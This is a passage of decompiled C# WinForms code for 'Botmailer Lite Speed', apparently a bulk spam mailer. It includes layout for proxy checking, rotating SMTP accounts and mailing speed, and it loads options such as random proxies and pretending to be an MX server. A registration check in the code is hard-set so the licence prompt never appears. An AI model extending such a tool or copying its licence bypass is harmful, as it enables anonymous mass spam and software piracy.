      Button checkProxy1 = this.CheckProxy;
      point1 = new Point(148, 42);
      Point point36 = point1;
      checkProxy1.Location = point36;
      this.CheckProxy.Name = "CheckProxy";
      Button checkProxy2 = this.CheckProxy;
      size1 = new Size(80, 22);
      Size size35 = size1;
      checkProxy2.Size = size35;
      this.CheckProxy.TabIndex = 3;
      this.CheckProxy.Text = "Check Proxy";
      this.Button11.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button11.FlatStyle = FlatStyle.Popup;
      Button button11_1 = this.Button11;
      point1 = new Point(17, 175);
      Point point37 = point1;
      button11_1.Location = point37;
      this.Button11.Name = "Button11";
      Button button11_2 = this.Button11;
      size1 = new Size(94, 35);
      Size size36 = size1;
      button11_2.Size = size36;
      this.Button11.TabIndex = 15;
      this.Button11.Text = "Open Checked Proxies";
      TextBox proxy1 = this.Proxy;
      point1 = new Point(104, 8);
      Point point38 = point1;
      proxy1.Location = point38;
      this.Proxy.Name = "Proxy";
      TextBox proxy2 = this.Proxy;
      size1 = new Size(122, 20);
      Size size37 = size1;
      proxy2.Size = size37;
      this.Proxy.TabIndex = 1;
      this.Proxy.Text = "";
      this.Message.BackColor = System.Drawing.Color.Transparent;
      this.Message.BorderStyle = BorderStyle.FixedSingle;
      this.Message.Controls.AddRange(new Control[17]
      {
        (Control) this.Label17,
        (Control) this.Button5,
        (Control) this.HTML,
        (Control) this.Button6,
        (Control) this.Subject,
        (Control) this.Label5,
        (Control) this.Label4,
        (Control) this.Label3,
        (Control) this.Fromname,
        (Control) this.Label2,
        (Control) this.Label1,
        (Control) this.Body,
        (Control) this.ToName,
        (Control) this.ReplyTo,
        (Control) this.From,
        (Control) this.Recipient,
        (Control) this.TrackBar2
      });
      Panel message1 = this.Message;
      point1 = new Point(48, 8);
      Point point39 = point1;
      message1.Location = point39;
      this.Message.Name = "Message";
      Panel message2 = this.Message;
      size1 = new Size(480, 272);
      Size size38 = size1;
      message2.Size = size38;
      this.Message.TabIndex = 2;
      Label label17_1 = this.Label17;
      point1 = new Point(376, 112);
      Point point40 = point1;
      label17_1.Location = point40;
      this.Label17.Name = "Label17";
      this.Label17.RightToLeft = RightToLeft.No;
      Label label17_2 = this.Label17;
      size1 = new Size(88, 16);
      Size size39 = size1;
      label17_2.Size = size39;
      this.Label17.TabIndex = 17;
      this.Label17.Text = "Mailing Speed";
      this.Button5.BackColor = System.Drawing.Color.Yellow;
      this.Button5.BackgroundImage = (Image) resourceManager.GetObject("Button5.BackgroundImage");
      this.Button5.FlatStyle = FlatStyle.Popup;
      Button button5_1 = this.Button5;
      point1 = new Point(360, 40);
      Point point41 = point1;
      button5_1.Location = point41;
      this.Button5.Name = "Button5";
      Button button5_2 = this.Button5;
      size1 = new Size(104, 24);
      Size size40 = size1;
      button5_2.Size = size40;
      this.Button5.TabIndex = 16;
      this.Button5.Text = "Stop";
      CheckBox html1 = this.HTML;
      point1 = new Point(312, 104);
      Point point42 = point1;
      html1.Location = point42;
      this.HTML.Name = "HTML";
      CheckBox html2 = this.HTML;
      size1 = new Size(56, 16);
      Size size41 = size1;
      html2.Size = size41;
      this.HTML.TabIndex = 15;
      this.HTML.Text = "HTML";
      this.Button6.BackColor = System.Drawing.Color.Yellow;
      this.Button6.BackgroundImage = (Image) resourceManager.GetObject("Button6.BackgroundImage");
      this.Button6.FlatStyle = FlatStyle.Popup;
      Button button6_1 = this.Button6;
      point1 = new Point(360, 8);
      Point point43 = point1;
      button6_1.Location = point43;
      this.Button6.Name = "Button6";
      Button button6_2 = this.Button6;
      size1 = new Size(104, 24);
      Size size42 = size1;
      button6_2.Size = size42;
      this.Button6.TabIndex = 13;
      this.Button6.Text = "Send";
      TextBox subject1 = this.Subject;
      point1 = new Point(32, 104);
      Point point44 = point1;
      subject1.Location = point44;
      this.Subject.Name = "Subject";
      TextBox subject2 = this.Subject;
      size1 = new Size(272, 20);
      Size size43 = size1;
      subject2.Size = size43;
      this.Subject.TabIndex = 11;
      this.Subject.Text = "";
      Label label5_1 = this.Label5;
      point1 = new Point(184, 72);
      Point point45 = point1;
      label5_1.Location = point45;
      this.Label5.Name = "Label5";
      Label label5_2 = this.Label5;
      size1 = new Size(40, 16);
      Size size44 = size1;
      label5_2.Size = size44;
      this.Label5.TabIndex = 10;
      this.Label5.Text = "Name";
      Label label4_1 = this.Label4;
      point1 = new Point(184, 40);
      Point point46 = point1;
      label4_1.Location = point46;
      this.Label4.Name = "Label4";
      Label label4_2 = this.Label4;
      size1 = new Size(40, 16);
      Size size45 = size1;
      label4_2.Size = size45;
      this.Label4.TabIndex = 9;
      this.Label4.Text = "Name:";
      Label label3_1 = this.Label3;
      point1 = new Point(104, 8);
      Point point47 = point1;
      label3_1.Location = point47;
      this.Label3.Name = "Label3";
      Label label3_2 = this.Label3;
      size1 = new Size(56, 16);
      Size size46 = size1;
      label3_2.Size = size46;
      this.Label3.TabIndex = 8;
      this.Label3.Text = "Reply-To:";
      this.Fromname.BorderStyle = BorderStyle.FixedSingle;
      TextBox fromname1 = this.Fromname;
      point1 = new Point(232, 72);
      Point point48 = point1;
      fromname1.Location = point48;
      this.Fromname.Name = "Fromname";
      TextBox fromname2 = this.Fromname;
      size1 = new Size(104, 20);
      Size size47 = size1;
      fromname2.Size = size47;
      this.Fromname.TabIndex = 7;
      this.Fromname.Text = "";
      Label label2_1 = this.Label2;
      point1 = new Point(16, 72);
      Point point49 = point1;
      label2_1.Location = point49;
      this.Label2.Name = "Label2";
      Label label2_2 = this.Label2;
      size1 = new Size(32, 16);
      Size size48 = size1;
      label2_2.Size = size48;
      this.Label2.TabIndex = 6;
      this.Label2.Text = "From:";
      Label label1_1 = this.Label1;
      point1 = new Point(24, 40);
      Point point50 = point1;
      label1_1.Location = point50;
      this.Label1.Name = "Label1";
      Label label1_2 = this.Label1;
      size1 = new Size(24, 16);
      Size size49 = size1;
      label1_2.Size = size49;
      this.Label1.TabIndex = 5;
      this.Label1.Text = "To:";
      this.Body.BorderStyle = BorderStyle.FixedSingle;
      RichTextBox body1 = this.Body;
      point1 = new Point(32, 128);
      Point point51 = point1;
      body1.Location = point51;
      this.Body.Name = "Body";
      RichTextBox body2 = this.Body;
      size1 = new Size(424, 120);
      Size size50 = size1;
      body2.Size = size50;
      this.Body.TabIndex = 4;
      this.Body.Text = "";
      this.ToName.BorderStyle = BorderStyle.FixedSingle;
      TextBox toName1 = this.ToName;
      point1 = new Point(232, 40);
      Point point52 = point1;
      toName1.Location = point52;
      this.ToName.Name = "ToName";
      TextBox toName2 = this.ToName;
      size1 = new Size(104, 20);
      Size size51 = size1;
      toName2.Size = size51;
      this.ToName.TabIndex = 3;
      this.ToName.Text = "";
      this.ReplyTo.BorderStyle = BorderStyle.FixedSingle;
      TextBox replyTo1 = this.ReplyTo;
      point1 = new Point(168, 8);
      Point point53 = point1;
      replyTo1.Location = point53;
      this.ReplyTo.Name = "ReplyTo";
      TextBox replyTo2 = this.ReplyTo;
      size1 = new Size(112, 20);
      Size size52 = size1;
      replyTo2.Size = size52;
      this.ReplyTo.TabIndex = 2;
      this.ReplyTo.Text = "";
      this.From.BorderStyle = BorderStyle.FixedSingle;
      TextBox from1 = this.From;
      point1 = new Point(56, 72);
      Point point54 = point1;
      from1.Location = point54;
      this.From.Name = "From";
      TextBox from2 = this.From;
      size1 = new Size(120, 20);
      Size size53 = size1;
      from2.Size = size53;
      this.From.TabIndex = 1;
      this.From.Text = "";
      this.Recipient.BorderStyle = BorderStyle.FixedSingle;
      TextBox recipient1 = this.Recipient;
      point1 = new Point(56, 40);
      Point point55 = point1;
      recipient1.Location = point55;
      this.Recipient.Name = "Recipient";
      TextBox recipient2 = this.Recipient;
      size1 = new Size(120, 20);
      Size size54 = size1;
      recipient2.Size = size54;
      this.Recipient.TabIndex = 0;
      this.Recipient.Text = "";
      this.TrackBar2.BackColor = System.Drawing.Color.LightSteelBlue;
      TrackBar trackBar2_1 = this.TrackBar2;
      point1 = new Point(368, 80);
      Point point56 = point1;
      trackBar2_1.Location = point56;
      this.TrackBar2.Maximum = 3;
      this.TrackBar2.Minimum = 1;
      this.TrackBar2.Name = "TrackBar2";
      TrackBar trackBar2_2 = this.TrackBar2;
      size1 = new Size(104, 45);
      Size size55 = size1;
      trackBar2_2.Size = size55;
      this.TrackBar2.TabIndex = 14;
      this.TrackBar2.Value = 1;
      this.SmtpAuth.BackColor = System.Drawing.Color.Transparent;
      this.SmtpAuth.BorderStyle = BorderStyle.FixedSingle;
      this.SmtpAuth.Controls.AddRange(new Control[20]
      {
        (Control) this.Label16,
        (Control) this.Button21,
        (Control) this.Button9,
        (Control) this.Addaccnt,
        (Control) this.SaveAccount,
        (Control) this.clear,
        (Control) this.OpenSmtp,
        (Control) this.HideSMTP,
        (Control) this.Label10,
        (Control) this.Label9,
        (Control) this.Label8,
        (Control) this.Label7,
        (Control) this.Label6,
        (Control) this.RealEmail,
        (Control) this.Accountlist,
        (Control) this.password,
        (Control) this.username,
        (Control) this.pop3,
        (Control) this.smtp,
        (Control) this.Proxy
      });
      Panel smtpAuth1 = this.SmtpAuth;
      point1 = new Point(136, 8);
      Point point57 = point1;
      smtpAuth1.Location = point57;
      this.SmtpAuth.Name = "SmtpAuth";
      Panel smtpAuth2 = this.SmtpAuth;
      size1 = new Size(312, 272);
      Size size56 = size1;
      smtpAuth2.Size = size56;
      this.SmtpAuth.TabIndex = 13;
      this.Label16.BorderStyle = BorderStyle.Fixed3D;
      Label label16_1 = this.Label16;
      point1 = new Point(24, 8);
      Point point58 = point1;
      label16_1.Location = point58;
      this.Label16.Name = "Label16";
      Label label16_2 = this.Label16;
      size1 = new Size(72, 16);
      Size size57 = size1;
      label16_2.Size = size57;
      this.Label16.TabIndex = 18;
      this.Label16.Text = "Proxy:Port";
      this.Button21.BackColor = SystemColors.InactiveCaption;
      this.Button21.FlatStyle = FlatStyle.Popup;
      Button button21_1 = this.Button21;
      point1 = new Point(120, 240);
      Point point59 = point1;
      button21_1.Location = point59;
      this.Button21.Name = "Button21";
      Button button21_2 = this.Button21;
      size1 = new Size(64, 24);
      Size size58 = size1;
      button21_2.Size = size58;
      this.Button21.TabIndex = 17;
      this.Button21.Text = "OK";
      this.Button9.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button9.FlatStyle = FlatStyle.Popup;
      Button button9_1 = this.Button9;
      point1 = new Point(24, 208);
      Point point60 = point1;
      button9_1.Location = point60;
      this.Button9.Name = "Button9";
      Button button9_2 = this.Button9;
      size1 = new Size(48, 24);
      Size size59 = size1;
      button9_2.Size = size59;
      this.Button9.TabIndex = 16;
      this.Button9.Text = "Clear";
      this.Addaccnt.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Addaccnt.FlatStyle = FlatStyle.Popup;
      Button addaccnt1 = this.Addaccnt;
      point1 = new Point(264, 208);
      Point point61 = point1;
      addaccnt1.Location = point61;
      this.Addaccnt.Name = "Addaccnt";
      Button addaccnt2 = this.Addaccnt;
      size1 = new Size(40, 24);
      Size size60 = size1;
      addaccnt2.Size = size60;
      this.Addaccnt.TabIndex = 15;
      this.Addaccnt.Text = "Add";
      this.SaveAccount.BackColor = System.Drawing.Color.CornflowerBlue;
      this.SaveAccount.FlatStyle = FlatStyle.Popup;
      Button saveAccount1 = this.SaveAccount;
      point1 = new Point(168, 208);
      Point point62 = point1;
      saveAccount1.Location = point62;
      this.SaveAccount.Name = "SaveAccount";
      Button saveAccount2 = this.SaveAccount;
      size1 = new Size(48, 24);
      Size size61 = size1;
      saveAccount2.Size = size61;
      this.SaveAccount.TabIndex = 14;
      this.SaveAccount.Text = "Save";
      this.clear.BackColor = System.Drawing.Color.CornflowerBlue;
      this.clear.FlatStyle = FlatStyle.Popup;
      Button clear1 = this.clear;
      point1 = new Point(216, 208);
      Point point63 = point1;
      clear1.Location = point63;
      this.clear.Name = "clear";
      Button clear2 = this.clear;
      size1 = new Size(48, 24);
      Size size62 = size1;
      clear2.Size = size62;
      this.clear.TabIndex = 13;
      this.clear.Text = "Delete";
      this.OpenSmtp.BackColor = System.Drawing.Color.CornflowerBlue;
      this.OpenSmtp.FlatStyle = FlatStyle.Popup;
      Button openSmtp1 = this.OpenSmtp;
      point1 = new Point(120, 208);
      Point point64 = point1;
      openSmtp1.Location = point64;
      this.OpenSmtp.Name = "OpenSmtp";
      Button openSmtp2 = this.OpenSmtp;
      size1 = new Size(48, 24);
      Size size63 = size1;
      openSmtp2.Size = size63;
      this.OpenSmtp.TabIndex = 12;
      this.OpenSmtp.Text = "Open";
      this.HideSMTP.BackColor = System.Drawing.Color.CornflowerBlue;
      this.HideSMTP.FlatStyle = FlatStyle.Popup;
      Button hideSmtp1 = this.HideSMTP;
      point1 = new Point(72, 208);
      Point point65 = point1;
      hideSmtp1.Location = point65;
      this.HideSMTP.Name = "HideSMTP";
      Button hideSmtp2 = this.HideSMTP;
      size1 = new Size(48, 24);
      Size size64 = size1;
      hideSmtp2.Size = size64;
      this.HideSMTP.TabIndex = 11;
      this.HideSMTP.Text = "Hide";
      this.Label10.BorderStyle = BorderStyle.Fixed3D;
      Label label10_1 = this.Label10;
      point1 = new Point(168, 72);
      Point point66 = point1;
      label10_1.Location = point66;
      this.Label10.Name = "Label10";
      Label label10_2 = this.Label10;
      size1 = new Size(72, 16);
      Size size65 = size1;
      label10_2.Size = size65;
      this.Label10.TabIndex = 10;
      this.Label10.Text = "Password";
      this.Label9.BorderStyle = BorderStyle.Fixed3D;
      Label label9_1 = this.Label9;
      point1 = new Point(32, 72);
      Point point67 = point1;
      label9_1.Location = point67;
      this.Label9.Name = "Label9";
      Label label9_2 = this.Label9;
      size1 = new Size(72, 16);
      Size size66 = size1;
      label9_2.Size = size66;
      this.Label9.TabIndex = 9;
      this.Label9.Text = "Username";
      this.Label8.BorderStyle = BorderStyle.Fixed3D;
      Label label8_1 = this.Label8;
      point1 = new Point(168, 32);
      Point point68 = point1;
      label8_1.Location = point68;
      this.Label8.Name = "Label8";
      Label label8_2 = this.Label8;
      size1 = new Size(88, 16);
      Size size67 = size1;
      label8_2.Size = size67;
      this.Label8.TabIndex = 8;
      this.Label8.Text = "Pop3";
      this.Label7.BorderStyle = BorderStyle.Fixed3D;
      Label label7_1 = this.Label7;
      point1 = new Point(32, 32);
      Point point69 = point1;
      label7_1.Location = point69;
      this.Label7.Name = "Label7";
      Label label7_2 = this.Label7;
      size1 = new Size(100, 16);
      Size size68 = size1;
      label7_2.Size = size68;
      this.Label7.TabIndex = 7;
      this.Label7.Text = "Smtp";
      this.Label6.BorderStyle = BorderStyle.Fixed3D;
      Label label6_1 = this.Label6;
      point1 = new Point(40, 112);
      Point point70 = point1;
      label6_1.Location = point70;
      this.Label6.Name = "Label6";
      Label label6_2 = this.Label6;
      size1 = new Size(144, 23);
      Size size69 = size1;
      label6_2.Size = size69;
      this.Label6.TabIndex = 6;
      this.Label6.Text = "Account E-mail Address:";
      this.RealEmail.BorderStyle = BorderStyle.FixedSingle;
      TextBox realEmail1 = this.RealEmail;
      point1 = new Point(192, 112);
      Point point71 = point1;
      realEmail1.Location = point71;
      this.RealEmail.Name = "RealEmail";
      TextBox realEmail2 = this.RealEmail;
      size1 = new Size(104, 20);
      Size size70 = size1;
      realEmail2.Size = size70;
      this.RealEmail.TabIndex = 5;
      this.RealEmail.Text = "";
      this.Accountlist.BorderStyle = BorderStyle.FixedSingle;
      ListBox accountlist1 = this.Accountlist;
      point1 = new Point(40, 136);
      Point point72 = point1;
      accountlist1.Location = point72;
      this.Accountlist.Name = "Accountlist";
      ListBox accountlist2 = this.Accountlist;
      size1 = new Size(240, 67);
      Size size71 = size1;
      accountlist2.Size = size71;
      this.Accountlist.TabIndex = 4;
      this.password.BorderStyle = BorderStyle.FixedSingle;
      TextBox password1 = this.password;
      point1 = new Point(168, 88);
      Point point73 = point1;
      password1.Location = point73;
      this.password.Name = "password";
      this.password.PasswordChar = '*';
      TextBox password2 = this.password;
      size1 = new Size(120, 20);
      Size size72 = size1;
      password2.Size = size72;
      this.password.TabIndex = 3;
      this.password.Text = "";
      this.username.BorderStyle = BorderStyle.FixedSingle;
      TextBox username1 = this.username;
      point1 = new Point(32, 88);
      Point point74 = point1;
      username1.Location = point74;
      this.username.Name = "username";
      TextBox username2 = this.username;
      size1 = new Size(112, 20);
      Size size73 = size1;
      username2.Size = size73;
      this.username.TabIndex = 2;
      this.username.Text = "";
      this.pop3.BorderStyle = BorderStyle.FixedSingle;
      TextBox pop3_1 = this.pop3;
      point1 = new Point(168, 48);
      Point point75 = point1;
      pop3_1.Location = point75;
      this.pop3.Name = "pop3";
      TextBox pop3_2 = this.pop3;
      size1 = new Size(120, 20);
      Size size74 = size1;
      pop3_2.Size = size74;
      this.pop3.TabIndex = 1;
      this.pop3.Text = "";
      this.smtp.BorderStyle = BorderStyle.FixedSingle;
      TextBox smtp1 = this.smtp;
      point1 = new Point(32, 48);
      Point point76 = point1;
      smtp1.Location = point76;
      this.smtp.Name = "smtp";
      TextBox smtp2 = this.smtp;
      size1 = new Size(112, 20);
      Size size75 = size1;
      smtp2.Size = size75;
      this.smtp.TabIndex = 0;
      this.smtp.Text = "";
      this.SaveFileDialog1.FileName = "doc1";
      this.MailingList.BackColor = System.Drawing.Color.Transparent;
      this.MailingList.BorderStyle = BorderStyle.FixedSingle;
      this.MailingList.Controls.AddRange(new Control[6]
      {
        (Control) this.Stopchecking,
        (Control) this.Button4,
        (Control) this.Button3,
        (Control) this.Button2,
        (Control) this.ListBox1,
        (Control) this.Button1
      });
      Panel mailingList1 = this.MailingList;
      point1 = new Point(144, 40);
      Point point77 = point1;
      mailingList1.Location = point77;
      this.MailingList.Name = "MailingList";
      Panel mailingList2 = this.MailingList;
      size1 = new Size(392, 200);
      Size size76 = size1;
      mailingList2.Size = size76;
      this.MailingList.TabIndex = 15;
      this.MailingList.Visible = false;
      CheckBox stopchecking1 = this.Stopchecking;
      point1 = new Point(8, 112);
      Point point78 = point1;
      stopchecking1.Location = point78;
      this.Stopchecking.Name = "Stopchecking";
      CheckBox stopchecking2 = this.Stopchecking;
      size1 = new Size(16, 16);
      Size size77 = size1;
      stopchecking2.Size = size77;
      this.Stopchecking.TabIndex = 5;
      this.Stopchecking.Text = "CheckBox1";
      this.Stopchecking.Visible = false;
      this.Button4.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button4.FlatStyle = FlatStyle.Popup;
      Button button4 = this.Button4;
      point1 = new Point(104, 168);
      Point point79 = point1;
      button4.Location = point79;
      this.Button4.Name = "Button4";
      this.Button4.TabIndex = 4;
      this.Button4.Text = "Save";
      this.Button3.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button3.FlatStyle = FlatStyle.Popup;
      Button button3_1 = this.Button3;
      point1 = new Point(8, 168);
      Point point80 = point1;
      button3_1.Location = point80;
      this.Button3.Name = "Button3";
      Button button3_2 = this.Button3;
      size1 = new Size(80, 24);
      Size size78 = size1;
      button3_2.Size = size78;
      this.Button3.TabIndex = 3;
      this.Button3.Text = "Clear";
      this.Button2.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button2.FlatStyle = FlatStyle.Popup;
      Button button2_1 = this.Button2;
      point1 = new Point(200, 168);
      Point point81 = point1;
      button2_1.Location = point81;
      this.Button2.Name = "Button2";
      Button button2_2 = this.Button2;
      size1 = new Size(80, 24);
      Size size79 = size1;
      button2_2.Size = size79;
      this.Button2.TabIndex = 2;
      this.Button2.Text = "Open";
      ListBox listBox1_1 = this.ListBox1;
      point1 = new Point(48, 16);
      Point point82 = point1;
      listBox1_1.Location = point82;
      this.ListBox1.Name = "ListBox1";
      ListBox listBox1_2 = this.ListBox1;
      size1 = new Size(328, 134);
      Size size80 = size1;
      listBox1_2.Size = size80;
      this.ListBox1.TabIndex = 1;
      this.Button1.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button1.FlatStyle = FlatStyle.Popup;
      Button button1_1 = this.Button1;
      point1 = new Point(304, 168);
      Point point83 = point1;
      button1_1.Location = point83;
      this.Button1.Name = "Button1";
      Button button1_2 = this.Button1;
      size1 = new Size(80, 24);
      Size size81 = size1;
      button1_2.Size = size81;
      this.Button1.TabIndex = 0;
      this.Button1.Text = "Hide";
      this.Panel3.BackColor = System.Drawing.Color.Transparent;
      this.Panel3.BorderStyle = BorderStyle.FixedSingle;
      this.Panel3.Controls.AddRange(new Control[2]
      {
        (Control) this.Button12,
        (Control) this.Listlog
      });
      Panel panel3_1 = this.Panel3;
      point1 = new Point(16, 48);
      Point point84 = point1;
      panel3_1.Location = point84;
      this.Panel3.Name = "Panel3";
      Panel panel3_2 = this.Panel3;
      size1 = new Size(552, 200);
      Size size82 = size1;
      panel3_2.Size = size82;
      this.Panel3.TabIndex = 18;
      this.Panel3.Visible = false;
      this.Button12.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button12.FlatStyle = FlatStyle.Popup;
      Button button12_1 = this.Button12;
      point1 = new Point(232, 160);
      Point point85 = point1;
      button12_1.Location = point85;
      this.Button12.Name = "Button12";
      Button button12_2 = this.Button12;
      size1 = new Size(104, 24);
      Size size83 = size1;
      button12_2.Size = size83;
      this.Button12.TabIndex = 18;
      this.Button12.Text = "Hide";
      this.Listlog.HorizontalScrollbar = true;
      ListBox listlog1 = this.Listlog;
      point1 = new Point(16, 8);
      Point point86 = point1;
      listlog1.Location = point86;
      this.Listlog.Name = "Listlog";
      this.Listlog.ScrollAlwaysVisible = true;
      ListBox listlog2 = this.Listlog;
      size1 = new Size(528, 134);
      Size size84 = size1;
      listlog2.Size = size84;
      this.Listlog.TabIndex = 17;
      this.log.BackColor = System.Drawing.Color.White;
      this.log.BorderStyle = BorderStyle.FixedSingle;
      this.log.LinkColor = System.Drawing.Color.RoyalBlue;
      LinkLabel log1 = this.log;
      point1 = new Point(16, 288);
      Point point87 = point1;
      log1.Location = point87;
      this.log.Name = "log";
      LinkLabel log2 = this.log;
      size1 = new Size(88, 16);
      Size size85 = size1;
      log2.Size = size85;
      this.log.TabIndex = 19;
      ((Label) this.log).TabStop = true;
      this.log.Text = "Log";
      this.Label13.BackColor = System.Drawing.Color.White;
      this.Label13.BorderStyle = BorderStyle.FixedSingle;
      this.Label13.ForeColor = System.Drawing.Color.DodgerBlue;
      Label label13_1 = this.Label13;
      point1 = new Point(360, 288);
      Point point88 = point1;
      label13_1.Location = point88;
      this.Label13.Name = "Label13";
      Label label13_2 = this.Label13;
      size1 = new Size(88, 16);
      Size size86 = size1;
      label13_2.Size = size86;
      this.Label13.TabIndex = 20;
      this.Label13.Text = "Messages Sent:";
      this.Label14.BackColor = System.Drawing.Color.White;
      this.Label14.BorderStyle = BorderStyle.FixedSingle;
      Label label14_1 = this.Label14;
      point1 = new Point(456, 288);
      Point point89 = point1;
      label14_1.Location = point89;
      this.Label14.Name = "Label14";
      Label label14_2 = this.Label14;
      size1 = new Size(48, 16);
      Size size87 = size1;
      label14_2.Size = size87;
      this.Label14.TabIndex = 21;
      this.Label14.Text = "0";
      this.Status.BackColor = System.Drawing.Color.Transparent;
      this.Status.ForeColor = System.Drawing.Color.Black;
      Label status1 = this.Status;
      point1 = new Point(152, 288);
      Point point90 = point1;
      status1.Location = point90;
      this.Status.Name = "Status";
      Label status2 = this.Status;
      size1 = new Size(112, 16);
      Size size88 = size1;
      status2.Size = size88;
      this.Status.TabIndex = 22;
      size1 = new Size(5, 13);
      this.AutoScaleBaseSize = size1;
      this.BackgroundImage = (Image) resourceManager.GetObject("$this.BackgroundImage");
      size1 = new Size(584, 305);
      this.ClientSize = size1;
      this.Controls.AddRange(new Control[10]
      {
        (Control) this.SmtpAuth,
        (Control) this.MailingList,
        (Control) this.Panel2,
        (Control) this.Panel1,
        (Control) this.Status,
        (Control) this.log,
        (Control) this.Label13,
        (Control) this.Label14,
        (Control) this.Panel3,
        (Control) this.Message
      });
      this.FormBorderStyle = FormBorderStyle.FixedSingle;
      this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
      this.MaximizeBox = false;
      this.Menu = this.MainMenu1;
      this.Name = nameof (Form1);
      this.Text = "Botmailer Lite Speed";
      this.Panel1.ResumeLayout(false);
      this.Panel2.ResumeLayout(false);
      this.Panel4.ResumeLayout(false);
      this.ProxyGroup.ResumeLayout(false);
      this.TrackBar1.EndInit();
      this.Message.ResumeLayout(false);
      this.TrackBar2.EndInit();
      this.SmtpAuth.ResumeLayout(false);
      this.MailingList.ResumeLayout(false);
      this.Panel3.ResumeLayout(false);
      this.ResumeLayout(false);
    }

    private void MenuItem16_Click(object sender, EventArgs e) => this.Panel1.Show();

    private void CloseAbout_Click(object sender, EventArgs e) => this.Panel1.Hide();

    private void HideProxy_Click(object sender, EventArgs e) => this.Panel2.Hide();

    private void MenuItem18_Click(object sender, EventArgs e)
    {
      this.Panel2.Visible = false;
      this.MailingList.Hide();
      this.SmtpAuth.Visible = false;
    }

    private void Button1_Click(object sender, EventArgs e) => this.Message.Hide();

    private void Form1_Load(object sender, EventArgs e)
    {
      string str1 = DateTime.Today.Day.ToString();
      string setting1 = Interaction.GetSetting("lingobingo", "start up", "Default", "1");
      string setting2 = Interaction.GetSetting("lingobingo", "start up", "Default2", "1");
      if (DoubleType.FromString(setting2) < 0.0)
      {
        int num = (int) Interaction.MsgBox((object) "Sorry, this program is uncrackable.");
        Application.Exit();
      }
      if (DoubleType.FromString(setting2) > 7.0)
      {
        int num = (int) Interaction.MsgBox((object) "Evaluation time over. Please buy the program at http://botmailer.invisible.at or http://botmailer.beware.us");
        Application.Exit();
      }
      else if (StringType.StrCmp(setting1, str1, false) != 0)
      {
        string Setting = StringType.FromDouble(DoubleType.FromString(setting2) + 1.0);
        Interaction.SaveSetting("lingobingo", "start up", "Default", str1);
        Interaction.SaveSetting("lingobingo", "start up", "Default2", Setting);
      }
      object current = (object) Cursor.Current;
      Cursor.Current = Cursors.WaitCursor;
      try
      {
        this.Recipient.Text = Interaction.GetSetting("Quasar", "start up", "RECIPIENT", "To");
        this.From.Text = Interaction.GetSetting("Quasar", "start up", "from", "from");
        this.Subject.Text = Interaction.GetSetting("Quasar", "start up", "Subject", "Subject");
        this.Body.Text = Interaction.GetSetting("Quasar", "start up", "BODY", "body");
        this.username.Text = Interaction.GetSetting("Quasar", "start up", "username", "username");
        this.password.Text = Interaction.GetSetting("Quasar", "start up", "password", "password");
        this.smtp.Text = Interaction.GetSetting("Quasar", "start up", "smtp", "smtp");
        this.pop3.Text = Interaction.GetSetting("Quasar", "start up", "pop3", "pop3");
        this.Proxy.Text = Interaction.GetSetting("Quasar", "start up", "Proxy", "Proxy:port");
        this.RealEmail.Text = Interaction.GetSetting("Quasar", "start up", "RealEmail");
        this.ReplyTo.Text = Interaction.GetSetting("Quasar", "start up", "Reply");
        this.ToName.Text = Interaction.GetSetting("Quasar", "start up", "ToName");
        this.Fromname.Text = Interaction.GetSetting("Quasar", "start up", "Fromname");
        this.Sylonious = Interaction.GetSetting("Quasar", "start up", "Sylonious");
        this.Useaccount = Interaction.GetSetting("Quasar", "start up", "Useaccount");
        this.UsePop = Interaction.GetSetting("Quasar", "start up", "UsePop");
        this.UseBuiltinSMTP = Interaction.GetSetting("Quasar", "start up", "Builtin");
        this.Pretendbemx = Interaction.GetSetting("Quasar", "start up", "Pretendbemx");
        this.RandomProxies = Interaction.GetSetting("Quasar", "start up", "RandomProxies");
        this.Htmlcheck = Interaction.GetSetting("Quasar", "start up", "Htmlcheck");
        Interaction.GetSetting("Quasar", "start up", "RealMailFrom");
        Interaction.GetSetting("Quasar", "start up", "bypass");
        this.Sylonious = "Yes";
        if (StringType.StrCmp(this.Sylonious, "Yes", false) == 0)
        {
          this.Button10.Hide();
          this.textbox1111.Hide();
          this.Label21.Hide();
        }
        else
        {
          int num = (int) Interaction.MsgBox((object) "Go To About and put in the registration code");
        }
        try
        {
          StreamReader streamReader = new StreamReader("Proxylist.txt");
          for (string str2 = streamReader.ReadLine(); str2 != null; str2 = streamReader.ReadLine())
          {
            string str3 = str2.Trim();
            if (str3.Length > 0)
              this.Proxylist2.Items.Add((object) str3);
          }
          this.Proxylist2.SelectedIndex = 0;
          streamReader.Close();
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
        try
        {
          StreamReader streamReader = new StreamReader("Accountlist.txt");
          for (string str4 = streamReader.ReadLine(); str4 != null; str4 = streamReader.ReadLine())
          {
            string str5 = str4.Trim();
            if (str5.Length > 0)
              this.Accountlist.Items.Add((object) str5);
          }
          this.Accountlist.SelectedIndex = 0;
          streamReader.Close();
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      if (!(this.Accountlist.Items.Count != 0 & StringType.StrCmp(this.smtp.Text, (string) null, false) == 0))
        return;
      string[] strArray = StringType.FromObject(this.Accountlist.SelectedItem).Split(' ');
      this.smtp.Text = strArray[0];
      this.pop3.Text = strArray[1];
      this.username.Text = strArray[2];
      this.password.Text = strArray[3];
      this.RealEmail.Text = strArray[4];
    }

    private void MenuItem22_Click(object sender, EventArgs e)
    {
      this.SmtpAuth.Show();
      this.Panel2.Visible = false;
      this.MailingList.Hide();
    }

    private void HideSMTP_Click(object sender, EventArgs e) => this.SmtpAuth.Hide();

    private void MenuItem21_Click(object sender, EventArgs e)
    {
      this.Panel2.Visible = true;
      this.MailingList.Hide();
      this.SmtpAuth.Visible = false;
    }

    private void Accountlist_SelectedIndexChanged(object sender, EventArgs e)
    {
      string[] strArray = StringType.FromObject(this.Accountlist.SelectedItem).Split(' ');
      this.smtp.Text = strArray[0];
      this.pop3.Text = strArray[1];
      this.username.Text = strArray[2];
